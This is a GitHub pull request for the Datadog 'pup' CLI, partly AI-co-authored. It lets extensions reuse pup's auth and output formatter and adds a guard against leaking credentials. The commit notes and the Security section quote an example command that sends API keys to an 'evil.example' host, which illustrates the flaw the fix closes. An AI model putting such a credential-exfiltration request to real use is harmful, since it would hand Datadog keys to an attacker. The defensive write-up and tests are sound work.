feat(extensions): let custom extensions reuse pup's client and formatter#564
Merged
Merged
Conversation
Extensions are external executables in any language; today an author must re-implement HTTP+auth and output formatting to talk to Datadog. Expose pup's existing client and formatter through the runtime contract so an extension can shell out to the parent `pup` binary instead. - pup api now routes auth through client::apply_auth (made pub), gaining the per-endpoint OAuth/API-key fallback (e.g. /api/v2/api_keys now correctly uses API keys instead of failing with a bearer token), and renders responses via formatter::format_and_print so --output / agent mode are honored. - New `pup format` (alias `fmt`): reads JSON from stdin/--input and renders it through the shared formatter with optional agent-envelope metadata. - config::from_env reads PUP_OUTPUT/PUP_READ_ONLY/PUP_AUTO_APPROVE and useragent::is_agent_mode reads PUP_AGENT_MODE — the vars pup injects into extension subprocesses — so a child `pup` call inherits the parent's format and mode. This required changing --output from a defaulted String to Option<String> (validated via resolve_output_format) so env-derived formats are no longer clobbered by the "json" default. - docs/EXTENSIONS.md documents the `pup api | pup format` reuse pattern. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
`pup api` accepts absolute http(s):// endpoints. The previous change routed auth for absolute URLs through the OAuth-exclusion table, which meant a path like `https://evil.example/api/v2/api_keys` would match an excluded endpoint and exfiltrate the long-lived API keys to an arbitrary host (and the bearer token for any path). Add a credential-exfiltration guard: only relative paths and absolute URLs whose scheme + host + effective port match the configured Datadog API base (`cfg.api_base_url()`) receive Datadog credentials. Off-host absolute URLs are sent unauthenticated, with a stderr warning when credentials were configured. Comparing scheme prevents a cleartext `http://host:443` from riding an https config's credentials; host comparison is ASCII-case-insensitive; any URL parse failure fails closed. Tests cover the guard (case-insensitive host, userinfo `@` trick, http/port-80, http:443 scheme mismatch, custom datadoghq.eu site allow + cross-region reject) and the off-host request paths (both api-keys and bearer-only) asserting the authorization / DD-API-KEY / DD-APPLICATION-KEY headers are absent. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
🐑 PR Shepherd is maintaining this PRI watch your PR and automatically fix CI failures, rebase your branch, handle flaky tests, and push it to the merge queue when it's ready. More about what I do → Guide To pause me on this PR, add the |
jkirsteins
approved these changes
Jun 5, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Pup extensions are external executables in any language. Today an extension author who wants to call Datadog must re-implement HTTP + auth (bearer-vs-API-key selection, token refresh, site URL, user-agent) and re-implement output formatting (JSON/YAML/table/CSV/TSV, the agent envelope) — even though pup already has both in
client.rsandformatter.rs. This PR exposes those engines through the runtime contract so an extension in any language can shell out to the parentpupbinary and reuse them, with no Rust linking.Changes
pup apireuses the client auth handler (src/commands/api.rs): routes throughclient::apply_auth(madepubinsrc/client.rs) instead of hand-rolled headers. This gains the per-endpoint OAuth/API-key fallback —pup apinow correctly uses API keys on OAuth-excluded endpoints like/api/v2/api_keys(previously it sent a bearer token and got 403). All ofpup api's curl-like behavior (-i,--verbose, error-body passthrough, absolute URLs) is preserved.pup apihonors--output: responses render throughformatter::format_and_print, sopup api v2/monitors -o tableand agent-mode envelopes now work instead of always pretty-JSON.pup format/fmtcommand (src/commands/format.rs): reads JSON from stdin (or--input FILE) and renders it through the shared formatter, with optional--count/--command/--next-actionagent-envelope metadata. The reader is injectable so the stdin path is unit-tested.src/config.rs,src/useragent.rs):from_envnow readsPUP_OUTPUT/PUP_READ_ONLY/PUP_AUTO_APPROVEandis_agent_mode()readsPUP_AGENT_MODE— the vars pup injects into extension subprocesses — so a childpupcall inherits the parent's format and mode. This required changing the global--outputflag from a defaultedStringtoOption<String>(validated via the newresolve_output_formathelper insrc/main.rs), because the"json"default was unconditionally clobbering any env-derived format.docs/EXTENSIONS.md): documents thepup api | pup formatreuse pattern and the env-var inheritance.Net effect — a fully consistent extension that adds zero auth or formatting code:
pup api v2/monitors --silent | pup formatTesting
cargo test --bin pup -- --test-threads=1);cargo fmt --checkandcargo clippy -- -D warningsclean.pup format(file + stdin +-/None reader, table, agent envelope, invalid JSON, empty, missing file);pup apitable-output and OAuth-excluded API-key fallback (relative + absolute URL, assertingDD-API-KEYpresent andauthorizationabsent even when a bearer token is set);configPUP_* inheritance +DD_OUTPUT-wins precedence;useragentPUP_AGENT_MODE;resolve_output_format(explicit override / absent-keeps-resolved / invalid-errors).pup api v1/org -o table(OAuth + table render),PUP_OUTPUT=csv pup formatinheritance,PUP_AGENT_MODE=true pup fmtenvelope.Notes
pup apiJSON output now goes through the shared formatter (alphabetically key-sorted, Go-style HTML escaping), matching every other pup command.--outputvalue is now a hard error instead of being silently ignored. AmbientDD_OUTPUT/config-file values remain lenient (degrade to JSON) by design — documented inline.🤖 Generated with Claude Code
Security
An automated review flagged that routing absolute-URL auth through the OAuth-exclusion table could exfiltrate credentials to an attacker-controlled host (
pup api https://evil.example/api/v2/api_keys). Fixed in a follow-up commit: atargets_configured_hostguard only attaches Datadog credentials when the absolute URL's scheme + host + effective port matchcfg.api_base_url(); off-host URLs are sent unauthenticated with a stderr warning. Covered by unit + integration tests (case-insensitive host, userinfo@trick, http:443 scheme downgrade, custom site / cross-region, api-key and bearer-only off-host omission).